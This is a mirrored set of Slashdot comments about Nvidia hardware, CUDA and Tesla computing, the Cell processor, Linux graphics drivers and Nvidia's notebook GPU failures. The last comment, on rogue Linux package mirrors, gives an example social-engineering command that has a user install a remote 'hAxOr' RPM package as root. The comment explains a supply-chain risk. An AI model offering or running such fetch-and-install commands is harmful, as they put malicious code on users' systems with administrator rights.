Slashdot Mirror

Sony's payback comes when Playstation3 programmers learn to fully utilize the Cell architecture.

As someone else pointed out, if that was going to happen, it would have happened by now.

The fundamental problem with the Cell is that each SPU only has 256KB of RAM. (Not 256MB, 256KB.) Data can be moved in and out of main memory in the background with explicit DMA-like operations. Given that model, you have to turn your problem into a data-flow problem, where a data set is pumped sequentially through a Cell processor. The audio guys love this. It's useful for compression and decompression. It's a pain for everything else.

It's not good for graphics. There's not enough memory for a full frame, not enough memory for textures, not enough memory for the geometry, and not enough processors to divide the frame up into squares or bands. Sony had to hang a conventional nVidia GPU on the back to fix that. It's useful for particle systems. If you need snow, or waves, or grenade fragments, the Cell is helpful, because that's a pipelineable problem.

There are some other special-purpose situations where a Cell SPU is useful. But not many. If each SPU had, say, 16MB, the things might be more useful. But at 256KB, it's like having a DSP chip. The Cell part belongs in a cell phone tower, processing signal streams, not in a game machine. It's a great cryptanalysis engine, though. Cryptanalysis is all crunch, with little intercommunication, so that fits the Cell architecture.

We're back to a historical truth about multi-CPU architecture - there are only two things that work. Shared-memory multiprocessors ("multi-core" CPUs, or the Xbox 360) work; they're well understood and straightforward to program. Clusters, like Google/Amazon/any web farm, also work; each machine has enough resources to do its own work and can live with limited intercommunication. Everything in between those extremes has historically been a flop: SIMD machines (Illiac IV through Thinking Machines), dataflow machines (tried in the 1980s), and mesh machines (nCube, BBN Butterfly). The only exception to this are graphics processors and supercomputers derived from them. That, not the Cell, is cutting edge architecture.

I've met one of the architects of the Cell processor, and his attitude was "build it and they will come". They didn't.

"If one wanted to build their own home "super" computer then why not just use CUDA and a few Nvidia cards?"

its been done - http://www.nvidia.com/object/personal_computing.html
$10k for ~250x the processing power of a desktop

The choice between the E8400 and the Q6600 was a tough one. I could have gone either way. Quad-core is great for threaded applications like media encoding. But the E8400 outperforms the Q6600 for the majority of what I do (including Photoshop CS3). I am not convinced that threading will be widespread enough during my 3-year upgrade cycle. A common argument on the forums is that the Q6600 can be overclocked to 3GHz such that single-threaded is the same as the E8400. While I do not overclock, the E8400 supposedly can easily get to 4GHz on air. Photoshop CS3 is multithreaded now, and theres even a CUDA version coming out. http://developer.download.nvidia.com/compute/cuda/Photoshop/CUDAFilters4.pdf

Normally most of these posts are from people trying to tweak their system for max performance, upgrade to new driver.

No. First hit on Google for 'nvidia geforce 8800 windows hang'. Do I need to keep searching?

Here is a situation i had using a lenovo T61. I got it it found the Wireless card all well and good and worked fine at home using WPA2 Personal However it didn't work at Work with WPA2 Enterprise. Being replaced with a T60 it worked just out of the box. Windows for both the systems WPA2 enterprise and Personal worked just perfectly. Just because it works for you it doesn't mean that other people have the same situation. Windows does handle supporting Wi Fi better.

I suggest checking out this post I saw on the Ubuntu list a couple of months back. Maybe it'll help, maybe it won't, but check it out.

Point taken on the last paragraph in your post. I can't say I've never had upgrade troubles, but I tend to not run with an out-of-the-box configuration. ;)

You might see a super computer design around other RISC processors such as the ARM. A supercomputer using the ARM takes more chips perhaps but the power savings is substantial compared to the x86. Furthermore, companies that like Nvidia with their Telsa platform are pushing into the supercomputing space with specialized chips that are purposefully designed to deal with large linear problem solving. Interestingly the Telsa chip is a multicore chip as well. http://www.nvidia.com/object/product_tesla_s1070_us.html

Thanks for the information, I always had trouble figuring ATI VS Nvidia, and after getting burnt by the Rage I haven't really messed with them. But I think the nephew will be getting one of those HD3s for Xmas, which one depends on how many customers I have between now and then. Like I said I need to slap a new mobo in while I am at it so I figure might as well get a card and kill 2 birds.

Well the SFF has a first gen 915 and the performance in Windows is truly horrible. At the correct resolution for his new monitor anything more than 1 or 2 windows and it starts to have redraw issues bad. And videos just suck the big wet titty. So pretty much anything would help him a great deal. But seeing those prices I will try to talk him into the 8400. It says here that they max at 71 watts so he should be good. Like I said, thanks again. Anything that will get my nephew another year or 2 out of his PC is a good thing. Later on I can pick him up a 3.6GHz Cedar Mill like I am running and it should get him another couple of years with the HD3 card. Thanks again.

Yes, many people including the leaders of technology companies themselves have underestimated the effect of the exponential curve.

I seem to recall that Bill Gates made a similar comment once upon a time... :-)

I failed to remember the Nvidia example in responding to the "number of cores" question, by the way: The Nvidia Tesla deskside supercomputer contains a few GPUs, each with 128 cores. So the question is out of date, and we haven't gotten out of the year 2008 yet!

Which is the point of the comment. That exponential curve will continue to surprise everyone, as it has surprised everyone so far.

They are selling $10k desktop systems with 4 of these Tesla cards.

1 card by itself is about $1500.00.

I noticed this feature last night while using Chrome to look for drivers for an old eMachines desktop. I think that anyone who's ever fixed one of those old machines knows what comes up when you search for Windows drivers -- a bunch of links pimping something called "Driver Genius" and similar payware of dubious merit. I was using Chrome at the time and I noticed these little "promote" and "remove" icons next to the links. I have to admit that I felt a little bit of schadenfreude at being able to nuke all these links before finally being able to find a link to a page that actually pointed me in the right direction.

Look, there's Python here. You can do the low-level high-performance core routines in C, and use Python to do all the OO programming. This is how God intended us to program.

now what the heck to do with it...

All you need to do is follow the fscking link. Plenty of examples there.

When the vendors are starting to play the "Vista yay" games while everyone else is rolling back Vista to XP at first opportunity.

Example: NVidia fucked over the consumer by making their newest stereo3D drivers not just Vista-only, but also by removing LCD shutter support (meaning you're limited to color-distorting anaglyph red/blue glasses, or really crapass zalman monitors).

check it out.

Next time I upgrade, unless they fix this, NVidia will not even be considered.

No, because it takes thousands of those to match what the top computers can do.

Look at the specifications for the high end one:
http://www.nvidia.com/object/tesla_s1070.html
345 GFlops

The bottom of the top500 list is now 12.64 Tflop/s. So to make it to the bottom of the top500, you need 36 top of the line teslas (and that assumes you lose nothing to network issues, which isn't true). So call it at least 40 teslas to get to the bottom of the list.

To get to the top of the list, you'd need about 3500 teslas.

NVIDIA Tesla -- if not it should be.

I sincerely hope you have better luck with Purevideo than we Windows users have. As someone who has been buying Nvidia cards since the days of the Geforce 2 I can say that trying to get Purevideo to work is the biggest exercise in frustration I have ever seen. Frankly after trying just about every video player and forum I just gave up.

And how can Nvidia claim you get all these advantages from Purevideo when the only way that they have to access it that I have seen is with 3rd party apps that they don't give you with the card and they don't support? I mean they can claim the latest Geforce can decode 4 HD streams while playing Crysis and cooking your breakfast in the morning,but if the only way to access that feature is with some driver they won't give you and you have to hunt up yourself that may or may not work,how can they call that a feature?

I mean you look at this chart here(warning:PDF) and it says my 7600 AGP does H.264,WMV9,the list goes on and on,but when you look at their site all they have is a $20 DVD driver. WTF? Who in this day and age needs their video card just to decode a bloody DVD?

It supports MPEG-1, MPEG-2, H.264, and VC-1. No MPEG-4 (aka XVID/DIVX).

ftp://download.nvidia.com/XFree86/vdpau/doxygen/html/group___vdp_decoder.html

Fine. Now what programs use this API?

mplayer (sort of, it's still pretty rough around the edges):

ftp://download.nvidia.com/XFree86/vdpau/mplayer-vdpau-3076399.tar.bz2

It'll probably take a while before complete, stable support for all of VDPAU's features (like timestamp-based presentation) are fully supported by the common video players.

ftp://download.nvidia.com/XFree86/vdpau/doxygen/html/index.html

You're in there:

http://www.nvidia.com/page/purevideo.html

What about the nVidia Tesla?

This card is basically a Tesla c1060 with video output, which was first announced in June. So arguably this news is 5 months late.

Yea. This card is made for Cad functioning and not shading or any kind of gaming. The card is more for workshops.

Excuse me? Nvidia says

The reference standard for Shader Model 4.0 and next generation operating systems
Enabling breakthrough ultra-realistic, real-time visualization applications.
Available only on the Quadro FX 3700

Flip through the OpenGL specifications sometime. Ask yourself whether there are any features of OpenGL which are not useful for games.

Examples that have been used to sell Quadro cards in the past include:
wireframe antialiasing (as opposed to full screen antialiasing)
multiple clip planes
two sided lighting.

Come on! Do you play games in wireframe mode?

Yes, you might be able to fool the computer into thinking your GeForce is a Quadro, but, iirc, the quadro devotes a bit more silicon to these features, so the performance hit isn't quite as severe.

On the other hand, the Quadro is designed for precision over speed. If a frame is a bit more complex than usual, your framerate will drop. Not good for games.

That you are using an old operating system incapable of dealing with this new hardware is not the fault of nVidia.

There's

a FUCKLOAD

of problems that are I'll never buy anything with an Nvidia card in it again.

You're absolutly right, but it would be amazing with any CUDA-apps right now. Hell, you could probably use that to encode your H.264 movies more than 18x faster!!! see http://www.nvidia.com/object/cuda_home.html

Actually, the Tesla is for scientific computing. The Quadro line is for graphics.

These were being sold in the first half of August for 10500$ - containing 2 of those cards. Only 3 months late.

One might argue if you are throwing away $25,000 on a system like that you might use software that costs, but then again, Blender has made tremendous progress these last years..

I thought the future of desktop 'super'computing was going to revolve around GPUs/Cell processors, not clusters of quadcore CPUs.

TFA mentions nvidia's Tesla (GPU supercomputing) but Cray's configurator doesn't make any mention of it at all.

It is a matter or an expensive technology being removed because most people do not wish to pay for it.

That may be true but it was nVidia who made the call, not Apple. The 9400M southbridge in the Macbook simply doesn't support firewire.

I suspect Apple simply looked at all its CUDA cores and decided that realtime h.264 for the YouTube set was simply more important than firewire. Yeah, they could have done a discrete firewire implementation but then they're adding cost back in, and Apple isn't going to do discrete anything on the MacBook. Had nVidia supported 1394b, the MacBook would have kept it, but that wasn't a make-or-break feature.

We've heard the story Jobs tells himself to rationalize it, but it simply doesn't hold water in the real world (none of my friends have HD camcorders, though I don't live in Silicon Valley). I suspect Jobs knows the real deal, but they had to make trade-offs, and this was one.

TFA and /. summary are possibly grossly unfair. There *are* two sides to every story, and apparently the article author has a chip on his shoulder for Nvidia, no pun intended. (Personally, I don't have a dog in this fight, but in the interest of fairness...) Check out the comments, like this one which would seem to be from someone at Nvidia:

Answer this... As you know Charlie has a history of severe bias against NVIDIA. Our July announcement of the problem with notebook GPU failures (link) has given him lots to rant about. This new story is the latest in a series of articles in which he continues to stretch the truth in order to spread FUD. In it he asserts he paints the notebook chip failures as if it were a widespread epidemic affecting every single NVIDIA GPU in existence including desktop. Here is a list of BS and the truth.

Myth 1 - NVIDIA has denied responsibility for the failures and is blaming suppliers and partners.
In our announcements accept responsibility for the failures. We DO call out the material failure but we also acknowledge that our suppliers and notebook designs because this is true and we need to disclose this in our official statements to the SEC. We would not go on record with the SEC making such bold claims if they weren't true. See our Form 8-K statement below.

Myth 2 - There is an "official story" that the problems were limited a batch of a few bad parts for HP.
We have never issued a stated this. See our public statements below.

Where is source for that?

Myth 3 - NVIDIA is forcing a fix on notebook makers

The idea that a supplier like NVIDIA can dictate a fix to the world's largest PC makers is preposterous.

The truth is the notebook makers determining their own course of action and we are supporting them.

Where is source for that?

Myth 4 - NVIDIA is trying to cuts our financial liability.
We put aside $200M to help partners solve this problem for consumers. As far as we know NVIDIA is the first and only chip maker to help fund the cost for repairs.

Myth 5 - This affects desktop chips, G92, G94, etc.
We have only seen this problem on notebooks. We just reiterated this during an official financial call. Once again we would not say this if it wasn't true. Note we have not disclosed the specific GPUs but we have stated this impact previous generation GPUs and that current gen GPUs are not in production.

Fact Charlie has an obvious bias against NVIDIA and he has no sources to back up his claims. Out of all of the hundreds upon hundreds of notebooks models designed with NVIDIA chips in the last few years, only a small number of these have experienced the problem. Within this small number of models, only a small percentage actually experiences the chip failure. It is highly unlike a notebook user will experience the problem. And we have never seen this problem on desktop.

Other Useful Information

"Separately, NVIDIA plans to take a one-time charge from $150 million to $200 million against cost of revenue for the second quarter to cover anticipated warranty, repair, return, replacement and other costs and expenses, arising from a weak die/packaging material set in certain versions of its previous generation GPU and MCP products used in notebook systems. Certain notebook configurations with GPUs and MCPs manufactured with a certain die/packaging material set are failing in the field at higher than normal rates. To date, abnormal failure rates with systems other than certain notebook systems have not been seen. NVIDIA has initiated discussions with its supply chain regarding this material set issue and the Company will also seek to access insurance coverage for this matter."
posted by : Derek, 29 August 2008

So, whichever way it breaks, I do hope that what *is* the truth WRT this issue gets out...

- Linux support

Really?.

Also, I use FreeBSD. Unless something has dramatically changed with ATI drivers on FreeBSD in the past year, the drive quality argument goes right out the window.

The sad thing is, the summary isn't even right. nVidia makes a 386sx clone for the embedded market. See:
http://www.nvidia.com/page/uli_m6117c.html

NVidia has an x86 processor. http://www.nvidia.com/page/uli_m6117c.html

Nice. Also, I'd think it's more likely that Nvidia would integrate a low power x86 processor like the one you mention with their Northbridge chips. This would allow an Nvidia chipset mobo to boot without a dedicated cpu installed. Either that or have a low power chip on their graphics cards, so that the card becomes almost a stand-alone x86 computing device.

If you could use google or try it out yourself, you would see that the proprietary nvidia drivers are the only ones with which everything (this means desktop effects and google earth) works.

Not correct.

(1) Proprietary Nvidia Linux drivers do not support 3D compositing desktop (compiz et al) for "legacy" Nvidia cards.
http://www.nvidia.com/object/unix.html
http://www.nvidia.com/object/IO_32667.html

(2) Proprietary Nvidia Linux drivers do not support KDE 4 ... they have very poor performance.

(3) ATI's fglrx proprietary driver for Linux is entirely similar ... but it does at least support KDE 4.

(4) There are two open-source ATI drivers for Linux: xf86-video-ati (aka radeon) and radeonhd

See this site:
http://www.phoronix.com/forums/showthread.php?t=7032

In terms of differences between the drivers, here's one way to look at them. Others may jump in and disagree.

  - fglrx has the most features and capabilities, and runs most games quite a bit faster than the open source drivers. Downside is that it is closed source and when there is a problem you often have to wait for the next release or more.

  - radeonhd is the most polished on 5xx/6xx and has the most resources working on end user issues. Downside is that it is display/modesetting only, although on a modern system you can still get some pretty nice performance without acceleration.

  - radeon has immediate access to all the code and experience from previous ATI chip generations, including 2d, 3d and video acceleration. On 5xx/6xx it is primarily display/modesetting as well, however 2d acceleration is running on 5xx today.

My own card is an ATI HD 2400 Pro ... which uses a R610 GPU. Sadly, this is one of the least well supported by the open source ATI drivers, but it works fine in Linux using the fglrx closed-source driver.

I am however expecting this GPU to be supported by radeonhd driver for full 3D performance by perhaps the end of the year, with luck:

http://www.phoronix.com/scan.php?page=article&item=amd_r600_soon&num=1

If you could use google or try it out yourself, you would see that the proprietary nvidia drivers are the only ones with which everything (this means desktop effects and google earth) works.

Not correct.

(1) Proprietary Nvidia Linux drivers do not support 3D compositing desktop (compiz et al) for "legacy" Nvidia cards.
http://www.nvidia.com/object/unix.html
http://www.nvidia.com/object/IO_32667.html

(2) Proprietary Nvidia Linux drivers do not support KDE 4 ... they have very poor performance.

(3) ATI's fglrx proprietary driver for Linux is entirely similar ... but it does at least support KDE 4.

(4) There are two open-source ATI drivers for Linux: xf86-video-ati (aka radeon) and radeonhd

See this site:
http://www.phoronix.com/forums/showthread.php?t=7032

In terms of differences between the drivers, here's one way to look at them. Others may jump in and disagree.

  - fglrx has the most features and capabilities, and runs most games quite a bit faster than the open source drivers. Downside is that it is closed source and when there is a problem you often have to wait for the next release or more.

  - radeonhd is the most polished on 5xx/6xx and has the most resources working on end user issues. Downside is that it is display/modesetting only, although on a modern system you can still get some pretty nice performance without acceleration.

  - radeon has immediate access to all the code and experience from previous ATI chip generations, including 2d, 3d and video acceleration. On 5xx/6xx it is primarily display/modesetting as well, however 2d acceleration is running on 5xx today.

My own card is an ATI HD 2400 Pro ... which uses a R610 GPU. Sadly, this is one of the least well supported by the open source ATI drivers, but it works fine in Linux using the fglrx closed-source driver.

I am however expecting this GPU to be supported by radeonhd driver for full 3D performance by perhaps the end of the year, with luck:

http://www.phoronix.com/scan.php?page=article&item=amd_r600_soon&num=1

Yea, they announced it a little while ago. They shouted it from the rooftops, but I guess not enought people heard: http://www.nvidia.com/page/handheld.html

NVidia has an x86 processor. http://www.nvidia.com/page/uli_m6117c.html

Have a look at NVIDIA's CUDA for an example of General Purpose GPU processing.

You guys realize that the system being demoed here, the NVIDIA Quadro Plex 2100 D4 Visual Computing System, with 4 next-generation Quadro GPUs, starts at $10,750, right? http://www.nvidia.com/object/io_1218520087945.html

http://www.nvidia.com/object/quadroplex_s4.html

I think you're missing the purpose of what a graphics processing unit is for.

No, he's going beyond the purpose of what a graphics processing unit was originally for, and looking ahead to what General Purpose GPU computing is going to be for. There's nothing in the GPU that requires it to operate on polygons; the silicon is there to do parallel stream processing, and streams of geometry/texture/lighting/etc data are just one of the ways to use that.

there is no code today that will use it explicitly, the whole paradigm of a GPU is that you do not read data back to the CPU.

Perhaps you should look into GPGPU and CUDA. Most of what most people do with computers involves one-way traffic to the GPU, but a small and sometimes well-funded subset of us have bigger plans than video games for the massive parallelization the GPU provides.

It will be interesting to see if the Nvidia/Intel and AMD/ATI alliances will kill progress in this direction and make us all wait for Intel and AMD to figure out a way to market 256 threads of execution to consumers who won't ever need it, but perhaps it will bring about innovations that remove todays bottlenecks, such as host/device bandwidth instead.

One language that is being used in the sceintific community right now is CUDA - which runs on a GPU and is C based.

In addition, Fortran to C tools have been around for some years. To say that Fortran is the only scientific language is BS. R, S Plus, Octave, matlab, perl and CUDA to name a few. Taking R as an example - it provides an code interface that allows you to write optimised C/C++ routines and utilise those in the language itself.

What about the Tesla Systems.
Nvidia has some serious number crunching compared to ATI and a better Tool Kit in Cuda then ATI with CTM.
I don't understand how the best GPU company isn't doing good?

960 cores, 4 teraflops, 400 GB/s memory bandwidth in a 1U rackmount: nVidia Tesla S1070

Separately, NVIDIA plans to take a one-time charge from $150 million to $200 million against cost of revenue for the second quarter to cover anticipated warranty, repair, return, replacement and other costs and expenses, arising from a weak die/packaging material set in certain versions of its previous generation GPU and MCP products used in notebook systems. Certain notebook configurations with GPUs and MCPs manufactured with a certain die/packaging material set are failing in the field at higher than normal rates. To date, abnormal failure rates with systems other than certain notebook systems have not been seen. NVIDIA has initiated discussions with its supply chain regarding this material set issue and the Company will also seek to access insurance coverage for this matter.

Regarding the notebook field failures, NVIDIA president and CEO Jen-Hsun Huang stated: "Although the failure appears related to the combination of the interaction between the chip material set and system design, we have a responsibility to our customers and will take our part in resolving this problem. The GPU has become an increasingly important part of the computing experience and we are seeing more interest by PC OEMs to adopt GPUs in more platforms. Recognizing that the GPU is one of the most complex processors in the system, it is critical that we now work more closely with notebook system designers and our chip foundries to ensure that the GPU and the system are designed collaboratively for the best performance and robustness."

Today's high performance notebooks are highly complex systems with extreme thermal environments. The combination of limited thermal management and frequent power cycling is particularly challenging for complex processors like the GPU.

Huang added, "This has been a challenging experience for us. However, the lessons we've learned will help us build far more robust products in the future, and become a more valuable system design partner to our customers. As for the present, we have switched production to a more robust die/package material set and are working proactively with our OEM partners to develop system management software that will provide better thermal management to the GPU."

Some interesting GPU projects here: Nvidia Cuda

QUESTION: How many Nvidia developed graphics card drivers are there for anything pre-dating the 5100 series? ANSWER: NONE

Here's your proof: http://www.nvidia.com/object/IO_18897.html

For an older card I had to search for a custom-built driver because Nvidia simply does not provide one. The installation was an absurd mess, and never worked properly. Granted, that was the fault of the developer of the driver, but if it's so simple, then why didn't he use that simple method? He can write a driver but doesn't know how to write the installer? No. In order for the driver to function regardless of the flavor of Linux, he can't use an installer because there is no universally accepted process for such in the Linux community.

Again, I point out that this may not be a problem for people such as those who are here on /. but the *AVERAGE* user should never need to know about the shell or any of its commands.

As I said, I am a user and fan of Linux, but I am not a blind fanboy. I recognize the faults of Linux as equally as the faults of Windows and Mac.

But if you seriously believe that any installation process is *SIMPLER* (Not BETTER, but SIMPLER) than Windows, you're deluding yourself.

I've read most of the comments, and the amount of FUD and baseless comments is amazing

1) From a technological standpoint, Intel is no better off than AMD. The Q9300 is only about 6-8% faster than their previous CPU (the Q6600), and it trails at many task because it has 2MB less L3 Cache than the Q6600. In addition, not only does it run hotter, but it doesn't overclock nearly as well. Of course you could go up to the Q9450, but you'd be paying $325 for a CPU with an 8X multiplier and a faulty temperature sensor (which is a known problem for their 45nm CPUs).

2) In terms of efficiency, nothing Intel makes comes even close to the 4850e. 2.5Ghz Dual Core CPU, running at only 45w. That's more than enough muscle for the average joe, and quite impressive if people weren't so thirsty for quad cores they don't even need.

3) The AMD A770 and 780G are both excellent chipsets, and the 3800 series GPU's marked the return of ATi, while the 4800 even further closed the gap from nVidia. Meanwhile, the G35 chipset has compatibility issues with DDR2 1066, as well as another chipset (who's name escapes me at the moment), and the GeForce 9600GT suffers from the Black Screen of Death. Now, can someone PLEASE tell me why purchasing ATi was such a bad idea, seeing how they're the only division of AMD that's actually gaining momentum at the moment?

The only part of AMD that need to be fixed is their flagship CPU department. The Phenom is an exact repeat this idiot CEO did with the 64-Bit transition. In short, he let the Athlon XP line go completely to shit because he knew Hammer was coming soon. Only this time when he put his all his eggs in one basket, the basket had a hole in the bottom of it. Granted, needing a better flagship product is quite the problem to fix, but to say that the company sucks from top to bottom is hyperbole at its finest.

http://www.nvidia.com/object/tesla_c1060.html How about a little research before posting these stories???

Their entire Proof of Concept seems to be:

      1. We asked to be added as a mirror
      2. We succeeded without the distributions doing a cavity search
      3. A11 y0ur L1nux are b3l0ng t0 us!

openSUSE does the following. You are asked to be added as a mirror and they add you. However YaST (or better zypper) will point to http://download.opensuse.org/distribution/11.0/repo/oss/ by default which will then point you to the mirror.
Then they also look if you have the latest version available or not. If not, they will not point to you untill you do.
The reason is that this way they can spread the traffic among the mirrors, so that not everybody is using the same mirror, making the idea of mirrors obsolete. They also test if the mirror is up.

So there is already a big barrier to overcome. Obviously you could still make your own repository like Packman or http://download.nvidia.com/opensuse/11.0 and then see that people point there. This will need some social enginering and can be done, just as you can convice people to type in a code for a ziptfile, unpack it and then run the file inside as admin.

Even easier would be to ask them to do `sudo rpm -Uvh http://example.com/hAxOr.rpm`